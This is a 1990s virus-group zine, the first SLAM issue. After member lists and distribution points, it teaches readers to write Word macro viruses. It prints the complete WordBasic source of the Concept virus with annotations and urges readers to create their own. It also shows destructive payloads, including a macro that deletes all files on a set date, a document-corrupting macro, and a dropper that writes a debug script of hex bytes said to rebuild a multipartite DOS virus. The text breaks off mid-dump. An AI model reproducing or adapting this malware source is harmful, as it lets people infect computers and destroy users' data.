INTRO ----- Welcome to the first issue of the SLAM Magazine, this magazine has as subtitle "The Document X". I'm sure this is just the beginning of a magazine, it will continue until no one reads it anymore or if we are to lazy to continue it. But I think that that will not yet happen :-) This isn't a magazine that has a standard time between two magazines, but I think it will take a couple of months to write the next one. So make sure to look at our distribution points for the latest news and SLAM magazines. Also make sure to check out the VBB magazines for more about some of us. And for more info about the group or us as individuals check the latest Viral Database (VDAT) from Cicatrix. See our distribution points for his homepage, where you can download or even read online his latest VDAT. Another thing I suggest to you, for the rumors and other things that has happened in the Virus World, is the latest God@rky Newsletter, it's real good, you get the latest news about what happened in the scene and that kinda stuff. Also see our distribution points to get the God@rky newsletter. We suffered a big loss in the virus scene lately: VLAD has quit. They were one of the best virus groups out there. It looks like everybody quits these days, first Phalcom/Skism then NuKE (what a shame :)) and now VLAD. But a good thing that has happened lately is that Immortal Riot merged with Genesis and that they created one of the best virus groups out there called IRG, Immortal Riot/Genesis. But he, for the ones who think that VBB is dead. I've got great news, there were much things happening lately around VBB. First they got a couple of new members, I'm one of them. And more important, A time ago Dark Night was e-mailed by Liquid Cool. A hacker/phreaker who was with Triple Six (A hacker/phreaker/etc. group) until they got busted. When Triple Six saw that VBB wasn't doing so well he tried to contact Dark Night and said that it maybe was a good idea to create some sort of a sub-group in VBB that was about hacking and that kinda stuff. Liquid Cool could create files to explain how to hack sometin. So watch out for VBB #4 that will be out soon. Back to SLAM. This first issue of SLAM is mainly about Macro Virii, because our assembler coderz hadn't had the time to work at the first issue, next time there will be probably more assembler shit in here, so those assembler coderz out there have to wait. Another thing I wanna say is, our english isn't that good, because no one from the SLAM crew is from a english speakin country. But I hope you can understand what we are talkin about. But eh, don't blame us, we are coderz not english teachers or something. Copyright and disclaimer (no need to read) ------------------------------------------ Everything from this magazine is for research only and we're not res- ponsible for any damage done to you, your computer, anything. And for those guys out there that copy everything from us, but put their name in the code, nothing may be copied without giving credit to the author. Finally all the shit is over and we can come to the real art of virii writing. Enjoy reading this magazine and we like to hear your opinion of this magazine, so don't hesitate to send any mail to us. --- The SLAM virus team --- MEMBERSHIP & DISTRIBUTION ------------------------- The current members of SLAM are: -Neophyte -Nightmare Joker -The Underground Prophet -Aurodreph -Cyborg -Phardera -DarkChasm -Cursor Lux0r Credits: -------- Neophyte: Main writer of this mag. Win95 viewer. Specialities: macro virii, learnin assembler. Nightmare-Joker: Co mag writer, virus supply. Specialities: macro virii The Underground Prophet: couldn't help with this issue. Specialities: assembler, learnin macros. Aurodreph: Co mag writer, virus supply. Specialities: macro virii Cyborg: dos virii supply. Specialities: assembler coding Question: Are you busted or something? DarkChasm: Ansi Bomb maker, wrote a couple of const. kits. Specialities: Allround Phardera: Virus supply and exchange. Specialities: Allround Cursor Lux0r: Asm specialist, but also other prog. languages. Specialities: Asm, Delphi, Pascal IMPORATANT!!!!!!!!! ------------------- The e-mail addres Neophyte@Hotmail.com that was put into SLAM New Years edition is rong it's: The_Neophyte@Hotmail.com And the other save e-mail addresses (In no special order): ------------------------------- The whole SLAM group: SLAM_President@Hotmail.com Neophyte The_Neophyte@Hotmail.com NightMare Joker Nightmare_Joker@Hotmail.com The Underground Prophet TUProphet@Hotmail.com Aurodreph Aurodreph@Defiant.ilf.net Phardera Phardera@Hotmail.com Darkchasm Darkchasm@Hotmail.com Wanna be a new member of SLAM? ------------------------------ If you think you can do something useful for SLAM just fill in the 'member.frm'. And you should send it to: slam_president@www.hotmail.com You'll probably get a response. Also if you want to submit some articles for SLAM issue 2 send to the same e-mail adress. Distribution ------------ There are several pages on the Internet where you can find our magazine. They are listed below. Only one BBS's has our magazine. But if you are a Sysop from a kewl virus BBS or something, mail me. Then you'll also be listed here next issue. Get our mag from these Internet sites: -------------------------------------------------------------------------------------------------- http://www.ilf.net/AURODREPH/virus.htm | A page from Aurodreph http://www.ilf.net/Njoker/index.htm | Nightmare Jokers Page http://www.ilf.net/God@rky/virii.htm | Get our mag and God@rky newsletter here http://www.cyberstation.net/~cicatrix/ | Get our mag and Cicatrix' VDAT -------------------------------------------------------------------------------------------------- Or from these BBS's -------------------------------------------------------------------------------------------------- Name | SysOp | Nr. | Country ---- | ----- | --- | ------- Arrested Development | Omega | +31-70-3818095 | Holland -------------------------------------------------------------------------------------------------- --- Neophyte --- FIRST INFO ABOUT MACRO VIRII ---------------------------- A computer virus has lots of correspondences with biological virii (plural of virus). I will present a list with correspondences: Computer virii | Biological virii ----------------------------------------------------------------------- Infects other computers. | Infects other people. | Tries to destroy or do something | Makes you sick, and have consequents that isn't nice ;) to others. | like throw up and stuff. | A virus waits with striking to get | A virus waits with striking to get more computers infected. | more people infected. | Anti-virus progs helps you (NOT!!) | There are medicines against almost all with uninfecting you system. | virii. ----------------------------------------------------------------------- There are lots of more comparisons with biological virii. Imagine... At the moment there are 2 main types of computer virii: 1. Virii created in assembler (or other program languages, but most of the time in assembler). Created for Dos or sometimes for windows (Bizatch, etc.) 2. Virii created in MS-Word macro's (or other programs that have a good macro language) This sort will be the subject of this file. The second type are the newest virii and spread much more faster then the first type. Macro virii (the second type) are created with Microsoft Word for Windows 6.0 or higher, you may think how can I create a virus with a MS-Word? MS-Word has a build in macro language, a macro language is almost the same as a programmer language (such as C++, Pascal, etc.). The MS-WORD macro language is a simple version of Visual Basic (a programmers language. It's not very hard to learn, only I never found the perfect book about Word macros. An assembler virus (type 1) attaches himself to an executable file such as .EXE and .COM, a Word macro virus (type 2) Doesn't attaches himself to .EXE or .COM files, but to .DOC files (the standard MS-Word type). You might think, how can a .DOC file with text be infected? See the following picture for more info. Normal Word Document (.DOC) +--------------------+ | Text + text-format | +--------------------+ Word Template (doesn't matter which extension, .DOT is often used) +------------------------------------------+ | Text + text-format + macros + Word setup | +------------------------------------------+ Word virii are created in macros, so if you want to create a macro virus you must be sure that the file is saved as a Word template, because in Word templates you can save macros. But the only problem is that Word templates are almost always saved as .DOT. So we must change the FileSaveAs program that it will save Word templates as .DOC. What is a macro? A macro is a sort of a list of things that MS-Word will do auto- maticcly when the macro is run. Maybe it's going a bit fast now, so we'll take it all over now, but if you almost fallen asleap because you already knew everything, go on with SLAM.003 and enjoy... A summary of what we had till now: - There are 2 types of virii: -Assembler virii, mostly for DOS -Winword virii, a new type of virii created with the macro language of Microsoft Word 6.0 or higher - A Word virus is created in a macro, a list of instruction that MS-Word can do automatticly when a macro is run. - Word can only save macros in templates so you must make sure that Word saves every infected file as a template. Ok that was that. We have the basics of a macro virus here. Now we'll go on with a specific macro virus, the Concept macro virus. It was the first macro virus and is probably the most in the wild virus. In Word you can see if there are any macros installed. You do this with selecting the Tools/Macros. You then get a dialogbox with the names of the macros installed in the Normal.dot, Normal.dot is the template where Word saves its settings in and stores his macros in that are created or copied to the Normal.dot. Because Word automaticly opens the Normal.dot when Word is opened we must make sure to copy the virus macros to the Normal.dot. If you understand everything till here you can read on. Otherwise you may consider reading it again from the start. We'll continue our journey in creating macro virii with looking at the first Word macro virus, Concept. Because Concept is just a simple Word macro virus we'll start with this virus. It's detected by all AV-progs I know about but you must learn to walk before you can do the Polka! The Concept Macro Virus ----------------------- Before you going to do all the stuff down here it's good to do the following things: -Make a backup of the Normal.dot from \winword\template\normal.dot -It's handy to install the WordBasic help file too Concept uses 5 different macros to infect and spread. The names of these macros are: - AAAZAO (a copy of the AutoOpen macro) - AAAZFS (becomes the FileSaveAs macro) - AutoOpen (is automaticly executed when doc is opened) - FileSaveAs (changes the fileSaveAs dialog so it will save as a template, but with a .doc extension) - PayLoad (is the infection marker, this macro doesn't do anything, it's just for fun) In word macro virii the following happens when anyone gets infected: 1. You open an infected template (document) 2. The AutoOpen macro in the infected template (document) copies all the virus macros from the template (document) to the Normal.dot 3. The virus macros changes the FileSaveAs dialog so that it will save every (normal) document you want to save but changes it into a template and saves the macros of the virus in the document This happens with almost every macro virii. There are exclusions, but I will explain these in later files. Back to Concept. The virus uses 5 macros, but if you look in an infected document (not the Normal.dot), with Tools/Macros you will see only 4. You might think: How the fuck is that possible??? It's not very hard to explain: It's quite logical. If you use an infected document (not the Normal.dot) you'll see the 4 macros: - AAAZAO - AAAZFS - AutoOpen - PayLoad And if you look at an infected Normal.dot you'll see: - AAAZAO - AAAZFS - FileSaveAs - PayLoad You see that there isn't any AutoOpen macro in the Normal.dot. That's because it isn't nessecary, because nobody opens his Normal.dot manually. But if it's opened if you start Word the AutoOpen macro won't run auto- maticly. We'll come to this later. But in the infected document the AutoOpen macro is probably the most important macro. Because it does the actual infection of the Normal.dot. I'll show you later how the macro works. The PayLoad macro in the infected document is the same as in the infected Normal.dot and only contains a message: "That's enough to prove my point" It further has no use. The AAAZAO is a copy of the AutoOpen macro and the AAAZFS macro is a copy of the FileSaveAs macro. The use of these macros are explained in the drawing down here. The macros that are copied to the Normal.dot when AutoOpen is executed +--Infected document---+ | AAAZAO --------------+--------+ | AAAZFS --------------+-----+ | | AutoOpen | | | | PayLoad -------------+--+ | | +----------------------+ | | | | | | +--Normal.dot----------+ | | | | PayLoad <------------+--+ | | | FileSaveAs <---------+-----+ | | AAAZFS <-------------+--------+-| | AAAZAO <-------------+--------+-| +----------------------+ You saw that AAAZFS is copied to AAAZFS and to FileSaveAs and AutoOpen was not. That's because it is running. You cannot copy any macro that is running. That's why FileSaveAs isn't copied when saving a document (and infect the document) because FileSaveAs is running. In stead of FileSaveAs, AAAZFS is copied. AAAZFS has the same contents as FileSaveAs. As you will see later. Because AutoOpen isn't copied to the Normal.dot you must have another macro that has the same contents as the AutoOpen macro to infect other documents that aren't infected yet, because the infected document must have an AutoOpen macro in it to infect other computers. Got it? Here's another drawing to show you what happens if you save an uninfected document, with the FileSaveAs macro. The macros that are copied to the uninfected document when FileSaveAs is executed. +--Normal.dot----------+ | AAAZAO --------------+--------+ | AAAZFS --------------+-----+ | | FileSaveAs | | | | PayLoad -------------+--+ | | +----------------------+ | | | | | | +--Uninfected document-+ | | | | PayLoad <------------+--+ | | | AAAZFS <-------------+-----+ | | AutoOpen <-----------+--------+-| | AAAZAO <-------------+--------+-| +----------------------+ I hope you got it. Now the final thing before we going to see the macros and their contents of the Concept macro virus. Every virus must have a see-if-already-infected-thing in it. Because if it tries to infect a file for the second time you will see all kind off strange error messages. This counts for assembler virii and ofcourse for Word macro virii. Source Code ----------- This is the source code of the macro virus Concept, it was the first macro virus created ever. After the source I'll explain what it excactly does. Everything behind an " ' " are comments by me. The Word Macro Virus Concept 'The macro AAAZAO (the backup of AutoOpen) Sub MAIN On Error Goto Abort 'a build in errorhandler iMacroCount = CountMacros(0, 0) 'count all macros 'see if we're already installed For i = 1 To iMacroCount If MacroName$(i, 0, 0) = "PayLoad" Then bInstalled = - 1 'check if payload is in it yet End If If MacroName$(i, 0, 0) = "FileSaveAs" Then bTooMuchTrouble = - 1 'FileSaveAs already installed? End If Next i If Not bInstalled And Not bTooMuchTrouble Then 'add FileSaveAs and copies of AutoOpen and FileSaveAs. 'PayLoad is just for fun. iWW6IInstance = Val(GetDocumentVar$("WW6Infector")) sMe$ = FileName$() sMacro$ = sMe$ + ":Payload" MacroCopy sMacro$, "Global:PayLoad" 'infect the Normal.dot sMacro$ = sMe$ + ":AAAZFS" MacroCopy sMacro$, "Global:FileSaveAs" sMacro$ = sMe$ + ":AAAZFS" MacroCopy sMacro$, "Global:AAAZFS" sMacro$ = sMe$ + ":AAAZAO" MacroCopy sMacro$, "Global:AAAZAO" SetProfileString "WW6I", Str$(iWW6IInstance + 1) MsgBox Str$(iWW6IInstance + 1) 'display a messagebox End If Abort: End Sub 'The macro AAAZFS (the backup of FileSaveAs) Sub MAIN 'this becomes the FileSaveAs for the global template Dim dlg As FileSaveAs On Error Goto bail 'build in errorhandler GetCurValues dlg Dialog dlg If dlg.Format = 0 Then dlg.Format = 1 sMe$ = FileName$() sTMacro$ = sMe$ + ":AutoOpen" MacroCopy "Global:AAAZAO", sTMacro$ 'saves the documents with the macros sTMacro$ = sMe$ + ":AAAZAO" MacroCopy "Global:AAAZAO", sTMacro$ sTMacro$ = sMe$ + ":AAAZFS" MacroCopy "Global:AAAZFS", sTMacro$ sTMacro$ = sMe$ + ":PayLoad" MacroCopy "Global:PayLoad", sTMacro$ FileSaveAs dlg Goto Done Bail: If Err <> 102 Then 'if an error comes up just display the FileSaveAs dlg 'FileSaveAs dialog End If Done: End Sub The macro AutoOpen Sub MAIN On Error Goto Abort 'build in errorhandler iMacroCount = CountMacros(0, 0) 'count the macros 'see if we're already installed For i = 1 To iMacroCount If MacroName$(i, 0, 0) = "PayLoad" Then bInstalled = - 1 'check if PayLoad is in already End If If MacroName$(i, 0, 0) = "FileSaveAs" Then bTooMuchTrouble = - 1 'FileSaveAs already installed? End If Next i If Not bInstalled And Not bTooMuchTrouble Then 'add FileSaveAs and copies of AutoOpen and FileSaveAs. 'PayLoad is just for fun. iWW6IInstance = Val(GetDocumentVar$("WW6Infector")) sMe$ = FileName$() sMacro$ = sMe$ + ":Payload" MacroCopy sMacro$, "Global:PayLoad" 'infect the Normal.dot sMacro$ = sMe$ + ":AAAZFS" MacroCopy sMacro$, "Global:FileSaveAs" sMacro$ = sMe$ + ":AAAZFS" MacroCopy sMacro$, "Global:AAAZFS" sMacro$ = sMe$ + ":AAAZAO" MacroCopy sMacro$, "Global:AAAZAO" SetProfileString "WW6I", Str$(iWW6IInstance + 1) MsgBox Str$(iWW6IInstance + 1) 'display a messagebox End If Abort: End Sub The macro FileSaveAs Sub MAIN 'this becomes the FileSaveAs for the global template Dim dlg As FileSaveAs On Error Goto bail 'build in errorhandler GetCurValues dlg Dialog dlg If dlg.Format = 0 Then dlg.Format = 1 sMe$ = FileName$() sTMacro$ = sMe$ + ":AutoOpen" MacroCopy "Global:AAAZAO", sTMacro$ 'infects Normal.dot sTMacro$ = sMe$ + ":AAAZAO" MacroCopy "Global:AAAZAO", sTMacro$ sTMacro$ = sMe$ + ":AAAZFS" MacroCopy "Global:AAAZFS", sTMacro$ sTMacro$ = sMe$ + ":PayLoad" MacroCopy "Global:PayLoad", sTMacro$ FileSaveAs dlg Goto Done Bail: If Err <> 102 Then 'If an error comes up just display FileSaveAs dlg 'the FileSaveAs dialog End If Done: End Sub Don't quit now if you don't understand a thing of it, most of you will not understand it right now. I will discuss the macros now. You probably have seen that the macros FileSaveAs and AAAZFS are the same. The macros AutoOpen and AAAZAO are the same to. It's quite logical because the AAAZFS gets copied to the FileSaveAs and the AAAZAO is copied to the AutoOpen macro. So because of the two same macros I will only discuss two macros with you, the FileSaveAs and AutoOpen, more is not neccesary. If your Normal.dot has the Concept macros you can easily watch them by clicking Tools/Macro---->"choose macro you want to view" and click Edit Here follows the macros AutoOpen and FileSaveAs again only now with more explanation, I hope you get it now. >comment from me about the line above The Macro FileSaveAs -------------------- >This all happens when you click File/Save As... in Word. ---------------------------------------------------------------- Sub MAIN >Every macro begins with this and ends with "End Sub". Dim dlg As FileSaveAs >Set the dialog as FileSaveAs. On Error Goto bail >If an error occurs goto bail, see "bail:" down the macro where it goes. GetCurValues dlg >Gets the cursur place, and other settings of the cursur, >from the dialog (FileSaveAs dialog). Dialog dlg If dlg.Format = 0 Then dlg.Format = 1 >If dialog format is 0 then change it to 1. sMe$ = FileName$() >The string sMe$ is the active document in Word. sTMacro$ = sMe$ + ":AutoOpen" >The string sTMacro$ is the same as sMe$ (the active document) + ":AutoOpen". MacroCopy "Global:AAAZAO", sTMacro$ >Copies the macro AAAZAO from the Normal.dot (global template) to the >sTMacro$ (active document + :AutoOpen). sTMacro$ = sMe$ + ":AAAZAO" >The string sTMacro$ is the same as sMe$ (the active document) + ":AAAZAO". MacroCopy "Global:AAAZAO", sTMacro$ >Copies the macro AAAZAO from the Normal.dot (global template) to the >sTMacro$ (active document + :AAAZAO). sTMacro$ = sMe$ + ":AAAZFS" >The string sTMacro$ is the same as sMe$ (the active document) + ":AAAZFS". MacroCopy "Global:AAAZFS", sTMacro$ >Copies the macro AAAZFS from the Normal.dot (global template) to the >sTMacro$ (active document + :AAAZFS). sTMacro$ = sMe$ + ":PayLoad" >The string sTMacro$ is the same as sMe$ (the active document) + ":PayLoad". MacroCopy "Global:PayLoad", sTMacro$ >Copies the macro PayLoad from the Normal.dot (global template) to the >sTMacro$ (active document + :Payload). FileSaveAs dlg >Shows the FileSaveAs Dialog. Goto Done >If everything is gone good goto Done. Bail: >This is where the macro jumps to when an error occurs (see On error >goto bail, at the top of this macro). If Err <> 102 Then FileSaveAs dlg >If the error number is different to 102 then the macro will show the >FileSaveAs Dialog. End If >The end of an "if" instruction see above (If err <> 102 then FileSaveAs dlg). Done: >This is where the macro goes to when everything has gone good. >The "goto done" instruction does this. End Sub >Every Word macro stops with this. ---------------------------------------------------------------- The Macro AutoOpen ------------------ >This all happens when an infected document is opened. ---------------------------------------------------------------- Sub MAIN >Every macro begins with this and ends with "End Sub". On Error Goto Abort >If an error occurs goto abort, see "abort:" down the macro where it goes. iMacroCount = CountMacros(0, 0) >Count how many macros are in Normal.dot (global template). For i = 1 To iMacroCount >A loop in the macro that runs again if "Next i" instruction is executed. >Because iMacroCount is the amount of macros in the Normal.dot it will >check all macros. If MacroName$(i, 0, 0) = "PayLoad" Then bInstalled = - 1 >If Macro name is PayLoad then bInstalled is - 1 End If >The end of an "if" instruction. If MacroName$(i, 0, 0) = "FileSaveAs" Then bTooMuchTrouble = - 1 >If Macro name is FileSaveAs then bTooMuchTrouble = - 1 End If >The end of an "if" instruction. Next i >The "Next i" instruction that tells the for...next loop to return to the >for...next loop if i is more then already done. If Not bInstalled And Not bTooMuchTrouble Then >If bInstalled is not 0 and if bTooMuchTrouble is not 0 then do >everything below this. iWW6IInstance = Val(GetDocumentVar$("WW6Infector")) >Sets the iWW6IInstance string as Val(GetdocumentVar$("WW6Infector")) >This is not that important because it's only used for the message box >below. sMe$ = FileName$() >The string sMe$ is the active document in Word. sMacro$ = sMe$ + ":Payload" >The string sTMacro$ is the same as sMe$ (the active document) + ":PayLoad". MacroCopy sMacro$, "Global:PayLoad" >Copies the macro PayLoad (sMacro$) from the active infected document to the >global template (most of the times Normal.dot). sMacro$ = sMe$ + ":AAAZFS" >The string sTMacro$ is the same as sMe$ (the active document) + ":AAAZFS". MacroCopy sMacro$, "Global:FileSaveAs" >Copies the macro AAAZFS (sMacro$) from the active infected document to the >global template (most of the times Normal.dot) with the name FileSaveAs. sMacro$ = sMe$ + ":AAAZFS" >The string sTMacro$ is the same as sMe$ (the active document) + ":AAAZFS". MacroCopy sMacro$, "Global:AAAZFS" >Copies the macro AAAZFS (sMacro$) from the active infected document to the >global template (most of the times Normal.dot). sMacro$ = sMe$ + ":AAAZAO" >The string sTMacro$ is the same as sMe$ (the active document) + ":AAAZAO". MacroCopy sMacro$, "Global:AAAZAO" >Copies the macro AAAZAO (sMacro$) from the active infected document to the >global template (most of the times Normal.dot). SetProfileString "WW6I", Str$(iWW6IInstance + 1) >Set the profile string "WW6I" to Str$(iWW6IInstance + 1). >The actual thing done here is put a 1 in Str$(iWW6IInstace + 1) >This isn't that important because it is only used to place the "1" in the >message box below. MsgBox Str$(iWW6IInstance + 1) >This displays a message box containing the Str$(iWW6IInstance + 1). >Because Str$(iWW6IInstance + 1) is "1" the message box just displays a "1". End If >The end of the "if" instruction "If not bInstalled and not bTooMuchTrouble". Abort: >This is the place where the macro goes when an error occurs. End Sub >Every Word macro stops with this. ---------------------------------------------------------------- The Macro virus Concept is included with this SLAM issue in the file Concept.zip Enjoy creating your first macro virus and learn from the WordBasic help file and books. You can read on with the mag if you want but it's probably better if you first learn something more about the Word macro language WordBasic. --- Neophyte --- PAYLOADS IN MACRO VIRII ----------------------- This file is about payloads. Payloads are things a virus does on a special time. It's best if you not activate the payload on the first infection because the user then knows that he has a virus. Many virii look for the date and time to deliver the payload, or they can watch how many files they already infected on that computer. For example: A virus gets into your computer and you don't notice it. When the virus infected the 100th file the virus delivers the payload, your (precious) hard disk is overwritten. This was just an example of a payload, if you gonna write a virus, be original! But we're going to talk about payloads in macro virii so lets start. A macro virus will most of the time look at the date for delivering the payload. We'll give a couple examples of payloads in existing macro virii. The payload in the Atom macro virii ----------------------------------- ---------------------------------------------------------------- Sub MAIN On Error Goto KillError If Day(Now()) = 13 And Month(Now() = 12) Then Kill "*.*" End If KillError: End Sub ---------------------------------------------------------------- As you can see it will check if the day is the 13th of the month 12 (december), and if it's the 12th of december it will delete (kill) *.*. An other example of a payload is the following: 'Payload macro from the concept virus ---------------------------------------------------------------- Sub MAIN REM That's enough to prove my point End Sub ---------------------------------------------------------------- This one does no harm and only contains a text string. The name of the macro is payload and concept checks for this macro to see if he is already installed (infected). Down here, again another payload, this time from the Wazzu virus: ---------------------------------------------------------------- If Rnd() < 0.25 Then RndWord Insert "wazzu " StartOfDocument End If ---------------------------------------------------------------- The above piece of a macro generates a random number, and if the number is lower then 0.25 it will put the word Wazzu at the begin of the document. The next one is from the Parasite 1.0 macro virus: ---------------------------------------------------------------- Sub MAIN n = Day(Now()) If n = 16 Then Goto y If n < 16 Then Goto n If n > 16 Then Goto n y: EditReplace .Find = ".", .Replace = ",", .Direction = 0, .MatchCase = 0, .WholeWord = 1, .PatternMatch = 0, .SoundsLike = 0, .ReplaceAll, .Format = 0, .Wrap = 1, .FindAllWordForms = 0 EditReplace .Find = "a", .Replace = "e", .Direction = 0, .MatchCase = 0, .WholeWord = 1, .PatternMatch = 0, .SoundsLike = 0, .ReplaceAll, .Format = 0, .Wrap = 1, .FindAllWordForms = 0 n: EditReplace .Find = "and", .Replace = "not", .Direction = 0, .MatchCase = 0, .WholeWord = 1, .PatternMatch = 0, .SoundsLike = 0, .ReplaceAll, .Format = 0, .Wrap = 1, .FindAllWordForms = 0 sMe$ = FileName$() FileSaveAs .Name = sMe$, .Format = 1 sTMacro$ = sMe$ + ":AutoOpen" MacroCopy "Global:PARA", sTMacro$, 4 sTMacro$ = sMe$ + ":PARA" MacroCopy "Global:PARA", sTMacro$, 4 sTMacro$ = sMe$ + ":SITE" MacroCopy "Global:SITE", sTMacro$, 3 sTMacro$ = sMe$ + ":PayLoad" MacroCopy "Global:PayLoad", sTMacro$, 1 sTMacro$ = sMe$ + ":K" MacroCopy "Global:AutoExec", sTMacro$, 5 sTMacro$ = sMe$ + ":a678" MacroCopy "Global:AutoOpen", sTMacro$, 6 sTMacro$ = sMe$ + ":I8U9Y13" MacroCopy "Global:AutoExit", sTMacro$, 7 FileSaveAs .Name = sMe$, .Format = 1 End Sub ---------------------------------------------------------------- This is the whole FileSaveAs macro from Parasite 1.0 it first looks for the date, and checks if the day is 16. And if it is the 16th the virus will change all "." to "," and all "a" to "e" and all "and" to "not". The last thing (and --> not) the virus does with every save of a document. (I personally like this one ;) And finally I'll show you, what I call, the debug payloads. Look at the following example. If you know debug the following will be familiar. ---------------------------------------------------------------- On Error Goto NoDropper 'setup an error handler Open "c:\dos\debug.exe" For Input As #1 Close #1 'The list of numbers is the hex code of the '"Neurobasher.b" multipartite virus. Open "c:\dos\script.scr" For Output As #1 Print #1, "N debugger.exe" 'uses debug to create file "debugger.exe" Print #1, "E 0100 4D 5A EC 00 0C 00 00 00 20 00 00 00 FF FF 00 00" Print #1, "E 0110 00 00 32 2D 00 00 01 00 1E 00 00 00 01 00 00 00" Print #1, "E 0120 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" Print #1, "E 0130 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" Print #1, "E 0140 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" Print #1, "E 0150 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" Print #1, "E 0160 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" Print #1, "E 0170 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" Print #1, "E 0180 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" Print #1, "E 0190 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" Print #1, "E 01A0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" Print #1, "E 01B0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" Print #1, "E 01C0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" Print #1, "E 01D0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" Print #1, "E 01E0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" Print #1, "E 01F0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" Print #1, "E 0200 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" Print #1, "E 0210 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" Print #1, "E 0220 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" Print #1, "E 0230 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" Print #1, "E 0240 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" Print #1, "E 0250 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" Print #1, "E 0260 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" Print #1, "E 0270 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" Print #1, "E 0280 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" Print #1, "E 0290 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" Print #1, "E 02A0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" Print #1, "E 02B0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" Print #1, "E 02C0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" Print #1, "E 02D0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" Print #1, "E 02E0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" Print #1, "E 02F0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" Print #1, "E 0300 B8 00 4C CD 21 00 00 00 00 00 00 00 00 00 00 00" Print #1, "E 0310 E9 3D 00 00 00 00 00 00 00 00 00 00 00 00 00 00" Print #1, "E 0320 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" Print #1, "E 0330 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" Print #1, "E 0340 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" Print #1, "E 0350 FC 2B FF B4 F2 CD 13 72 47 B4 62 CD 21 8E C3 2B" Print #1, "E 0360 FF 53 4B 8E DB BB FF FF 80 FF 50 77 0C A1 03 00" Print #1, "E 0370 2B C3 29 45 12 B4 4A CD 21 5B 8E DB 83 C3 10 FA" Print #1, "E 0380 BC 00 00 8D 87 00 00 8E D0 81 C3 00 00 FB 9C 53" Print #1, "E 0390 68 00 00 2B DB 33 C9 8B D1 33 F6 8B EE 33 C0 CF" Print #1, "E 03A0 E8 00 00 5E B9 00 12 81 EE 93 00 0E 1F 68 00 7C" Print #1, "E 03B0 07 06 68 A8 00 F3 A4 CB 6A 49 B4 52 CD 21 BB 84" Print #1, "E 03C0 00 8E D9 2E 8C 06 E0 01 B8 AF 01 87 47 80 50 8C" Print #1, "E 03D0 C8 87 47 82 50 9C 58 80 CC 01 50 9D B4 4D 9C FF" Print #1, "E 03E0 1F 2E A1 8F 14 2E A3 93 14 2E A1 91 14 2E A3 95" Print #1, "E 03F0 14 2E C7 06 E0 01 00 F0 B4 00 99 9C FF 5F C8 8F" Print #1, "E 0400 47 82 8F 47 80 E8 81 01 C7 45 EC 98 05 C7 45 FC" Print #1, "E 0410 C3 02 B8 F0 04 8B D0 B7 13 93 CD 2F 2E C5 3E 93" Print #1, "E 0420 14 E8 F7 02 60 0E 1F 0E 07 80 FA 80 74 17 B4 04" Print #1, "E 0430 CD 1A 8A C6 04 03 27 3C 12 76 03 2C 12 41 A2 70" Print #1, "E 0440 02 88 0E 69 02 B8 01 02 BB 8F 12 B9 01 00 BA 80" Print #1, "E 0450 00 E8 A9 0A 80 7F 09 8E 74 63 B1 04 8D B7 AE 01" Print #1, "E 0460 83 C6 10 38 14 E0 F9 E3 54 8A 44 04 3C 01 74 08" Print #1, "E 0470 3C 04 72 49 3C 06 77 45 8B 44 08 3C 11 72 3E E8" Print #1, "E 0480 A1 0A B1 07 E8 73 0A 41 89 0E 0C 02 89 16 0F 02" Print #1, "E 0490 53 33 DB B8 09 03 E8 64 0A 5B BE F8 01 8B FB B1" Print #1, "E 04A0 1E F3 A4 B0 02 B9 E0 01 F3 AA B1 01 E8 4B 0A B8" Print #1, "E 04B0 01 02 B6 01 E8 46 0A E8 69 0A E8 3D 0A 61 C3 60" Print #1, "E 04C0 1E 8B EC C5 76 12 E8 9B 09 3D CC CF 74 26 3D 63" Print #1, "E 04D0 80 75 1A 81 7C 04 72 11 75 13 81 7C 0E E4 CF 74" Print #1, "E 04E0 13 3D 2E FF 75 07 81 7C 09 FA 9A 74 07 8C D8 3D" Print #1, "E 04F0 00 F0 75 11 8C D8 2E A3 91 14 8B 46 12 2E A3 8F" Print #1, "E 0500 14 80 66 17 FE 1F 61 CF FA 33 C0 8E D0 BC 00 7C" Print #1, "E 0510 FB 8E C4 06 68 16 02 93 B8 09 02 B9 08 00 BA 80" Print #1, "E 0520 00 CD 13 72 FE CB FC E8 5F 00 06 0E 07 B8 F0 04" Print #1, "E 0530 BE 84 00 BF 8F 14 87 44 C8 AB 33 C0 87 44 CA AB" Print #1, "E 0540 A5 A5 07 B8 01 02 8B DC 49 CD 13 0A D2 74 03 E8" Print #1, "E 0550 D1 09 06 53 B1 FF 43 81 3F C2 73 75 04 C6 47 01" Print #1, "E 0560 EB 81 3F A7 75 75 03 88 67 02 E2 EA E8 B5 FE 40" Print #1, "E 0570 A3 44 0C B4 04 CD 1A 80 F9 90 77 07 72 0A 80 FE" Print #1, "E 0580 04 72 05 